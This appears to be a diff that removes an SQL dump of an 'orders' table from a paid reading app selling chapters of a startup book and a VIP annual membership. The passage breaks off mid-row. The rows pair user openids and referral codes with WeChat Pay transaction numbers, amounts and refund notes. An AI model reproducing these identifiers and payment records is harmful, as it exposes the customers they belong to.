utf8mb4 COLLATE = utf8mb4_unicode_ci ROW_FORMAT = Dynamic; - --- ---------------------------- --- Records of orders --- ---------------------------- -INSERT INTO `orders` VALUES ('MP20260205090617850214', 'MP20260205090617850214', 'ogpTW5eDYtFiv61kJCCwWbsXCBZY', 'ogpTW5eDYtFiv61kJCCwWbsXCBZY', 'section', '9.13', 1.00, '章节-9.13', 'paid', '4200003087202602056726052469', '2026-02-05 09:06:23.000', NULL, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', '2026-02-05 09:06:17.000', '2026-02-05 09:06:23.000', NULL); -INSERT INTO `orders` VALUES ('MP20260205090920622597', 'MP20260205090920622597', 'ogpTW5eDYtFiv61kJCCwWbsXCBZY', 'ogpTW5eDYtFiv61kJCCwWbsXCBZY', 'section', '8.1', 1.00, '章节-8.1', 'paid', '4200003077202602051616197429', '2026-02-05 09:09:39.000', NULL, NULL, '2026-02-05 09:09:20.000', '2026-02-05 09:09:39.000', NULL); -INSERT INTO `orders` VALUES ('MP20260209200936995298', 'MP20260209200936995298', 'ogpTW5enUogenRCFwciHdLMiXgvw', 'ogpTW5enUogenRCFwciHdLMiXgvw', 'section', '4.1', 1.00, '章节4.1-4.1', 'created', NULL, NULL, '', NULL, '2026-02-09 12:09:37.000', '2026-02-09 12:09:37.000', NULL); -INSERT INTO `orders` VALUES ('MP20260209200937447063', 'MP20260209200937447063', 'ogpTW5WuTP4L70mpGv6mSM4Ei1VA', 'ogpTW5WuTP4L70mpGv6mSM4Ei1VA', 'section', '4.1', 1.00, '章节4.1-4.1', 'created', NULL, NULL, '', NULL, '2026-02-09 12:09:37.000', '2026-02-09 12:09:37.000', NULL); -INSERT INTO `orders` VALUES ('MP20260210111621622889', 'MP20260210111621622889', 'ogpTW5R253v5YCNQs3IXygDJZz2o', 'ogpTW5R253v5YCNQs3IXygDJZz2o', 'section', '4.1', 1.00, '章节4.1-4.1', 'created', NULL, NULL, '', NULL, '2026-02-10 03:16:21.000', '2026-02-10 03:16:21.000', NULL); -INSERT INTO `orders` VALUES ('MP20260210111621966577', 'MP20260210111621966577', 'ogpTW5WuTP4L70mpGv6mSM4Ei1VA', 'ogpTW5WuTP4L70mpGv6mSM4Ei1VA', 'section', '4.1', 1.00, '章节4.1-4.1', 'created', NULL, NULL, '', NULL, '2026-02-10 03:16:21.000', '2026-02-10 03:16:21.000', NULL); -INSERT INTO `orders` VALUES ('MP20260211182013440086', 'MP20260211182013440086', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'section', '1.2', 0.90, '章节1.2-1.2', 'paid', '4200003066202602113087619658', '2026-02-11 10:20:24.000', 'SOUL6EGC-G', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', '2026-02-11 10:20:14.000', '2026-02-11 10:20:24.000', NULL); -INSERT INTO `orders` VALUES ('MP20260211203419167650', 'MP20260211203419167650', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'section', '1.3', 0.90, '章节1.3-1.3', 'paid', '4200003005202602119913870761', '2026-02-11 12:34:27.000', 'SOUL6EGC-G', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', '2026-02-11 12:34:19.000', '2026-02-11 12:34:27.000', NULL); -INSERT INTO `orders` VALUES ('MP20260211230657792230', 'MP20260211230657792230', 'ogpTW5TNfJ_xV2yqvTDGGV8av1tg', 'ogpTW5TNfJ_xV2yqvTDGGV8av1tg', 'section', '5.5', 1.00, '章节5.5-5.5', 'created', NULL, NULL, '', NULL, '2026-02-11 15:06:58.000', '2026-02-11 15:06:58.000', NULL); -INSERT INTO `orders` VALUES ('MP20260213143645272080', 'MP20260213143645272080', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'section', '1.2', 0.95, '章节1.2-老墨:资源整合高手的社交方法', 'created', NULL, NULL, '', 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', '2026-02-13 06:36:45.000', '2026-02-13 06:36:45.000', NULL); -INSERT INTO `orders` VALUES ('MP20260218101222232284', 'MP20260218101222232284', 'ogpTW5eb1OnMqQ1n9013TgGOaLeM', 'ogpTW5eb1OnMqQ1n9013TgGOaLeM', 'section', '4.1', 1.00, '章节4.1-章节 4.1', 'paid', '4200003009202602187012157165', '2026-02-18 02:12:31.000', '', NULL, '2026-02-18 02:12:23.000', '2026-02-18 02:12:31.000', NULL); -INSERT INTO `orders` VALUES ('MP20260218101838249249', 'MP20260218101838249249', 'ogpTW5eb1OnMqQ1n9013TgGOaLeM', 'ogpTW5eb1OnMqQ1n9013TgGOaLeM', 'section', '5.3', 1.00, '章节5.3-章节 5.3', 'paid', '4200003002202602181466017963', '2026-02-18 02:18:44.000', '', NULL, '2026-02-18 02:18:39.000', '2026-02-18 02:18:44.000', NULL); -INSERT INTO `orders` VALUES ('MP20260218102956851432', 'MP20260218102956851432', 'ogpTW5eb1OnMqQ1n9013TgGOaLeM', 'ogpTW5eb1OnMqQ1n9013TgGOaLeM', 'section', '8.5', 1.00, '章节8.5-章节 8.5', 'created', NULL, NULL, '', NULL, '2026-02-18 02:29:57.000', '2026-02-18 02:29:57.000', NULL); -INSERT INTO `orders` VALUES ('MP20260218104028663573', 'MP20260218104028663573', 'ogpTW5eb1OnMqQ1n9013TgGOaLeM', 'ogpTW5eb1OnMqQ1n9013TgGOaLeM', 'section', '8.6', 1.00, '章节8.6-章节 8.6', 'paid', '4200003068202602181423273264', '2026-02-18 02:40:34.000', '', NULL, '2026-02-18 02:40:29.000', '2026-02-18 02:40:34.000', NULL); -INSERT INTO `orders` VALUES ('MP20260219060555140278', 'MP20260219060555140278', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'section', '9.15', 0.95, '章节9.15-章节 9.15', 'created', NULL, NULL, 'SOUL2XYSRI', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', '2026-02-18 22:05:55.000', '2026-02-18 22:05:55.000', NULL); -INSERT INTO `orders` VALUES ('MP20260219060648580861', 'MP20260219060648580861', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'section', '9.15', 0.95, '章节9.15-章节 9.15', 'paid', '4200003080202602199741991827', '2026-02-18 22:06:56.000', 'SOUL6EGC-G', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', '2026-02-18 22:06:48.000', '2026-02-18 22:06:56.000', NULL); -INSERT INTO `orders` VALUES ('MP20260222055212912774', 'MP20260222055212912774', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'section', '9.17', 0.95, '章节9.17-章节 9.17', 'created', NULL, NULL, 'SOUL2XYSRI', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', '2026-02-21 21:52:13.000', '2026-02-21 21:52:13.000', NULL); -INSERT INTO `orders` VALUES ('MP20260223140725233277', 'MP20260223140725233277', 'ogpTW5fn15jtYjuoxYNB_jGSVV4g', 'ogpTW5fn15jtYjuoxYNB_jGSVV4g', 'section', '9.20', 0.95, '章节9.20-章节 9.20', 'created', NULL, NULL, 'SOUL2XYSRI', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', '2026-02-23 06:07:25.000', '2026-02-23 06:07:25.000', NULL); -INSERT INTO `orders` VALUES ('MP20260223163543756681', 'MP20260223163543756681', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'section', '3.1', 0.95, '章节3.1-3.1', 'created', NULL, NULL, '', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', '2026-02-23 08:35:43.000', '2026-02-23 08:35:43.000', NULL); -INSERT INTO `orders` VALUES ('MP20260223173624729671', 'MP20260223173624729671', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', '', 'vip_annual', 1980.00, 'VIP年度会员', 'created', NULL, NULL, 'SOUL2XYSRI', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', '2026-02-23 17:36:24.000', '2026-02-23 17:36:24.000', NULL); -INSERT INTO `orders` VALUES ('MP20260223203141694253', 'MP20260223203141694253', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', '', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, 'SOUL2XYSRI', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', '2026-02-23 20:31:41.000', '2026-02-23 20:31:41.000', NULL); -INSERT INTO `orders` VALUES ('MP20260223210758497017', 'MP20260223210758497017', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'section', '9.17', 1.00, '章节9.17-9.17', 'created', NULL, NULL, 'SOUL2XYSRI', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', '2026-02-23 21:07:58.000', '2026-02-23 21:07:58.000', NULL); -INSERT INTO `orders` VALUES ('MP20260223210827544027', 'MP20260223210827544027', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', '', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, 'SOUL2XYSRI', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', '2026-02-23 21:08:27.000', '2026-02-23 21:08:27.000', NULL); -INSERT INTO `orders` VALUES ('MP20260223213256988115', 'MP20260223213256988115', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', '', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, 'SOUL2XYSRI', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', '2026-02-23 21:32:56.000', '2026-02-23 21:32:56.000', NULL); -INSERT INTO `orders` VALUES ('MP20260223213822198395', 'MP20260223213822198395', 'ogpTW5SPIL2A7Z6VKtONJFEBcjq4', 'ogpTW5SPIL2A7Z6VKtONJFEBcjq4', '', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, NULL, NULL, '2026-02-23 21:38:22.000', '2026-02-23 21:38:22.000', NULL); -INSERT INTO `orders` VALUES ('MP20260224055023631014', 'MP20260224055023631014', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', '', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, 'SOUL2XYSRI', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', '2026-02-24 05:50:23.000', '2026-02-24 05:50:23.000', NULL); -INSERT INTO `orders` VALUES ('MP20260224064002894269', 'MP20260224064002894269', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', '', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, 'SOUL2XYSRI', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', '2026-02-24 06:40:02.000', '2026-02-24 06:40:02.000', NULL); -INSERT INTO `orders` VALUES ('MP20260224085406033335', 'MP20260224085406033335', 'ogpTW5TG2nwZe4jAW9MW_UveKOCE', 'ogpTW5TG2nwZe4jAW9MW_UveKOCE', 'section', '9.17', 1.00, '章节9.17-9.17', 'paid', '4200003005202602243707539743', '2026-02-24 08:54:14.000', NULL, NULL, '2026-02-24 08:54:06.000', '2026-02-24 08:54:14.000', NULL); -INSERT INTO `orders` VALUES ('MP20260224085409983621', 'MP20260224085409983621', 'ogpTW5fEgNmFSsCS_BfRPwFL52do', 'ogpTW5fEgNmFSsCS_BfRPwFL52do', 'section', '11.1', 1.00, '章节11.1-11.1', 'paid', '4200003004202602248834745963', '2026-02-24 08:54:15.000', NULL, NULL, '2026-02-24 08:54:09.000', '2026-02-24 08:54:15.000', NULL); -INSERT INTO `orders` VALUES ('MP20260224085546539175', 'MP20260224085546539175', 'ogpTW5Wsm8-vMf8tO4-sIrE11DWo', 'ogpTW5Wsm8-vMf8tO4-sIrE11DWo', 'section', '11.1', 1.00, '章节11.1-11.1', 'paid', '4200003092202602244354669569', '2026-02-24 08:55:54.000', NULL, NULL, '2026-02-24 08:55:46.000', '2026-02-24 08:55:54.000', NULL); -INSERT INTO `orders` VALUES ('MP20260224090604363694', 'MP20260224090604363694', 'ogpTW5TG2nwZe4jAW9MW_UveKOCE', 'ogpTW5TG2nwZe4jAW9MW_UveKOCE', 'section', '10.2', 1.00, '章节10.2-10.2', 'created', NULL, NULL, NULL, NULL, '2026-02-24 09:06:04.000', '2026-02-24 09:06:04.000', NULL); -INSERT INTO `orders` VALUES ('MP20260224094117664552', 'MP20260224094117664552', 'ogpTW5Qabn7rh0bRZZYbr4_pVwQA', 'ogpTW5Qabn7rh0bRZZYbr4_pVwQA', 'section', '11.1', 1.00, '章节11.1-11.1', 'paid', '4200003084202602241178779861', '2026-02-24 09:41:25.000', NULL, NULL, '2026-02-24 09:41:17.000', '2026-02-24 09:41:25.000', NULL); -INSERT INTO `orders` VALUES ('MP20260224112017577220', 'MP20260224112017577220', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', '', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, NULL, NULL, '2026-02-24 11:20:17.000', '2026-02-24 11:20:17.000', NULL); -INSERT INTO `orders` VALUES ('MP20260224113712237327', 'MP20260224113712237327', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'section', '2.4', 1.00, '章节2.4-游戏上瘾的年轻人:不是游戏吸引他,是生活...', 'created', NULL, NULL, '', 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', '2026-02-24 03:37:12.000', '2026-02-24 03:37:12.000', NULL); -INSERT INTO `orders` VALUES ('MP20260225082209843996', 'MP20260225082209843996', 'ogpTW5YiTXYBuwQMe7Z3wFOv_Jy4', 'ogpTW5YiTXYBuwQMe7Z3wFOv_Jy4', 'section', '1.2', 1.00, '章节1.2-1.2', 'created', NULL, NULL, 'SOULOV_JY4', 'ogpTW5YiTXYBuwQMe7Z3wFOv_Jy4', '2026-02-25 08:22:09.000', '2026-02-25 08:22:09.000', NULL); -INSERT INTO `orders` VALUES ('MP20260225082328554082', 'MP20260225082328554082', 'ogpTW5US8-TZAVgY9IWeyS2LPGd0', 'ogpTW5US8-TZAVgY9IWeyS2LPGd0', 'section', '1.2', 1.00, '章节1.2-1.2', 'paid', '4200003065202602250728695238', '2026-02-25 08:23:39.000', 'SOULOV_JY4', 'ogpTW5YiTXYBuwQMe7Z3wFOv_Jy4', '2026-02-25 08:23:28.000', '2026-02-25 08:23:39.000', NULL); -INSERT INTO `orders` VALUES ('MP20260225101814928857', 'MP20260225101814928857', 'ogpTW5XNtYeFmBJrfoi8XZMkzty0', 'ogpTW5XNtYeFmBJrfoi8XZMkzty0', 'section', '2.1', 1.00, '章节2.1-2.1', 'paid', '4200003009202602252169106075', '2026-02-25 10:18:20.000', 'SOUL2XYSRI', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', '2026-02-25 10:18:14.000', '2026-02-25 10:18:20.000', NULL); -INSERT INTO `orders` VALUES ('MP20260225110530247286', 'MP20260225110530247286', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'section', '2.3', 1.00, '章节2.3-2.3', 'created', NULL, NULL, 'SOUL6EGC-G', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', '2026-02-25 11:05:30.000', '2026-02-25 11:05:30.000', NULL); -INSERT INTO `orders` VALUES ('MP20260225152053148700', 'MP20260225152053148700', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'section', '2.4', 1.00, '章节2.4-2.4', 'created', NULL, NULL, '', 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', '2026-02-25 07:20:53.000', '2026-02-25 07:20:53.000', NULL); -INSERT INTO `orders` VALUES ('MP20260225162613193905', 'MP20260225162613193905', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'section', '2.1', 1.00, '章节2.1-2.1', 'created', NULL, NULL, NULL, NULL, '2026-02-25 16:26:13.000', '2026-02-25 16:26:13.000', NULL); -INSERT INTO `orders` VALUES ('MP20260225162626917499', 'MP20260225162626917499', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'section', '1.2', 1.00, '章节1.2-1.2', 'created', NULL, NULL, NULL, NULL, '2026-02-25 16:26:26.000', '2026-02-25 16:26:26.000', NULL); -INSERT INTO `orders` VALUES ('MP20260225162640421884', 'MP20260225162640421884', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'section', '9.4', 1.00, '章节9.4-9.4', 'created', NULL, NULL, NULL, NULL, '2026-02-25 16:26:40.000', '2026-02-25 16:26:40.000', NULL); -INSERT INTO `orders` VALUES ('MP20260225162906641000', 'MP20260225162906641000', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'fullbook', 'fullbook', 9.90, '《一场Soul的创业实验》全书', 'created', NULL, NULL, '', 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', '2026-02-25 08:29:06.000', '2026-02-25 08:29:06.000', NULL); -INSERT INTO `orders` VALUES ('MP20260225193402199257', 'MP20260225193402199257', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', '', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, 'SOUL6EGC-G', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', '2026-02-25 19:34:02.000', '2026-02-25 19:34:02.000', NULL); -INSERT INTO `orders` VALUES ('MP20260225201530937551', 'MP20260225201530937551', 'ogpTW5RBd3Xumob-hHDXLhAbIpHM', 'ogpTW5RBd3Xumob-hHDXLhAbIpHM', 'section', '1.2', 1.00, '章节1.2-1.2', 'created', NULL, NULL, 'SOUL2XYSRI', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', '2026-02-25 20:15:30.000', '2026-02-25 20:15:30.000', NULL); -INSERT INTO `orders` VALUES ('MP20260227100909694084', 'MP20260227100909694084', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'section', '4.6', 1.00, '章节4.6-4.6', 'paid', '4200003074202602274671265961', '2026-02-27 10:09:15.000', 'SOUL2XYSRI', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', '2026-02-27 10:09:09.000', '2026-02-27 10:09:15.000', NULL); -INSERT INTO `orders` VALUES ('MP20260227143911959773', 'MP20260227143911959773', 'ogpTW5QAI7gFWP_A-XMArEP6JACo', 'ogpTW5QAI7gFWP_A-XMArEP6JACo', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-02-27 06:39:11.000', '2026-02-27 06:39:11.000', NULL); -INSERT INTO `orders` VALUES ('MP20260227170727960355', 'MP20260227170727960355', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, 'SOUL2XYSRI', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', '2026-02-27 17:07:27.000', '2026-02-27 17:07:27.000', NULL); -INSERT INTO `orders` VALUES ('MP20260227173935199671', 'MP20260227173935199671', 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', '2026-02-27 09:39:36.000', '2026-02-27 09:39:36.000', NULL); -INSERT INTO `orders` VALUES ('MP20260228065109625987', 'MP20260228065109625987', 'ogpTW5T1G-BBY9Hhg10HqyMKqwXE', 'ogpTW5T1G-BBY9Hhg10HqyMKqwXE', 'section', '4.6', 1.00, '章节4.6-4.6', 'paid', '4200003064202602285197363765', '2026-02-28 01:38:59.000', 'SOULMKQWXE', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', '2026-02-27 22:51:10.000', '2026-02-28 01:38:59.000', NULL); -INSERT INTO `orders` VALUES ('MP20260228065503318182', 'MP20260228065503318182', 'ogpTW5T1G-BBY9Hhg10HqyMKqwXE', 'ogpTW5T1G-BBY9Hhg10HqyMKqwXE', 'section', '4.6', 1.00, '章节4.6-4.6', 'created', NULL, NULL, 'SOULMKQWXE', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', '2026-02-27 22:55:04.000', '2026-02-27 22:55:04.000', NULL); -INSERT INTO `orders` VALUES ('MP20260228072132130586', 'MP20260228072132130586', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'section', '9.23', 1.00, '章节9.23-9.23', 'refunded', '4200003006202602286951890024', '2026-02-28 01:39:00.000', '', 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', '2026-02-27 23:21:33.000', '2026-02-28 01:44:35.275', '测试退款'); -INSERT INTO `orders` VALUES ('MP20260228072231726213', 'MP20260228072231726213', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'section', '4.6', 1.00, '章节4.6-4.6', 'refunded', '4200003061202602285876777602', '2026-02-28 01:39:00.000', '', 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', '2026-02-27 23:22:32.000', '2026-02-28 01:44:23.780', '测试退款'); -INSERT INTO `orders` VALUES ('MP20260228075630965884', 'MP20260228075630965884', 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'section', '4.6', 1.00, '章节4.6-4.6', 'refunded', '4200003068202602281446845844', '2026-02-28 01:39:00.000', '', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', '2026-02-27 23:56:31.000', '2026-02-28 01:43:43.000', NULL); -INSERT INTO `orders` VALUES ('MP20260228090136882787', 'MP20260228090136882787', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'section', '202', 1.00, '章节202-202', 'refunded', '4200003076202602281975437990', '2026-02-28 01:39:00.000', '', 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', '2026-02-28 01:01:36.000', '2026-02-28 01:43:02.000', NULL); -INSERT INTO `orders` VALUES ('MP20260228090234104022', 'MP20260228090234104022', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'section', '202', 1.00, '章节202-202', 'refunded', '4200003061202602283799610449', '2026-02-28 01:39:01.000', '', 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', '2026-02-28 01:02:34.000', '2026-02-28 01:39:37.000', NULL); -INSERT INTO `orders` VALUES ('MP20260228092745929639', 'MP20260228092745929639', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'section', '1.3', 1.00, '章节1.3-1.3', 'paid', '4200003058202602287320038386', '2026-02-28 01:27:55.000', '', 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', '2026-02-28 01:27:46.000', '2026-02-28 01:27:55.000', NULL); -INSERT INTO `orders` VALUES ('MP20260228101511242449', 'MP20260228101511242449', 'ogpTW5dyhaEK1KPQY0MAuo9ejCxc', 'ogpTW5dyhaEK1KPQY0MAuo9ejCxc', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-02-28 02:15:11.231', '2026-02-28 02:15:11.231', NULL); -INSERT INTO `orders` VALUES ('MP20260228103007275926', 'MP20260228103007275926', 'ogpTW5Rfjxo1IrotPpEKSA2iFcOs', 'ogpTW5Rfjxo1IrotPpEKSA2iFcOs', 'section', '1.3', 1.00, '章节1.3-1.3', 'created', NULL, NULL, 'SOULMKQWXE', 'ogpTW5T1G-BBY9Hhg10HqyMKqwXE', '2026-02-28 10:30:07.000', '2026-02-28 10:30:07.000', NULL); -INSERT INTO `orders` VALUES ('MP20260228143612969184', 'MP20260228143612969184', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'section', '11.5', 1.00, '章节11.5-11.5', 'paid', '4200003061202602285856253324', '2026-02-28 12:01:06.586', '', 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', '2026-02-28 06:36:12.187', '2026-02-28 12:01:06.588', '测试'); -INSERT INTO `orders` VALUES ('MP20260228160900147350', 'MP20260228160900147350', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'section', '11.3', 1.00, '章节11.3-11.3', 'refunded', '4200003071202602286850643178', '2026-02-28 08:09:05.195', '', 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', '2026-02-28 08:09:00.884', '2026-02-28 08:12:27.988', '测试'); -INSERT INTO `orders` VALUES ('MP20260228161018393581', 'MP20260228161018393581', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'section', '11.3', 1.00, '章节11.3-11.3', 'paid', '4200003011202602289093893299', '2026-02-28 12:01:06.771', '', NULL, '2026-02-28 08:10:18.547', '2026-02-28 12:01:06.774', '测试'); -INSERT INTO `orders` VALUES ('MP20260228214157960665', 'MP20260228214157960665', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-02-28 13:41:57.090', '2026-02-28 13:41:57.090', NULL); -INSERT INTO `orders` VALUES ('MP20260302091911306301', 'MP20260302091911306301', 'ogpTW5V92gmbuNnr4dTXkOdbvQT0', 'ogpTW5V92gmbuNnr4dTXkOdbvQT0', 'section', '9.24', 1.00, '章节9.24-9.24', 'created', NULL, NULL, '', NULL, '2026-03-02 01:19:11.260', '2026-03-02 01:19:11.260', NULL); -INSERT INTO `orders` VALUES ('MP20260302112519056057', 'MP20260302112519056057', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', '2026-03-02 03:25:19.646', '2026-03-02 03:25:19.646', NULL); -INSERT INTO `orders` VALUES ('MP20260302114305786839', 'MP20260302114305786839', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'section', '9.24', 1.00, '章节9.24-9.24', 'paid', '4200003096202603028239237009', '2026-03-02 03:43:11.995', '', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', '2026-03-02 03:43:05.517', '2026-03-02 03:43:11.998', NULL); -INSERT INTO `orders` VALUES ('MP20260303103600115354', 'MP20260303103600115354', 'ogpTW5dQHHM01yEuziMTiTYxqNEc', 'ogpTW5dQHHM01yEuziMTiTYxqNEc', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-03 02:36:00.404', '2026-03-03 02:36:00.404', NULL); -INSERT INTO `orders` VALUES ('MP20260303103601182177', 'MP20260303103601182177', 'ogpTW5dQHHM01yEuziMTiTYxqNEc', 'ogpTW5dQHHM01yEuziMTiTYxqNEc', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-03 02:36:01.217', '2026-03-03 02:36:01.217', NULL); -INSERT INTO `orders` VALUES ('MP20260303110833762929', 'MP20260303110833762929', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'section', '4.5', 1.00, '章节4.5-4.5', 'paid', '4200003069202603032506818111', '2026-03-03 12:04:11.491', '', 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', '2026-03-03 03:08:33.882', '2026-03-03 12:04:11.494', '测试'); -INSERT INTO `orders` VALUES ('MP20260304154055740942', 'MP20260304154055740942', 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', '2026-03-04 07:40:55.078', '2026-03-04 07:40:55.078', NULL); -INSERT INTO `orders` VALUES ('MP20260305122618011316', 'MP20260305122618011316', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 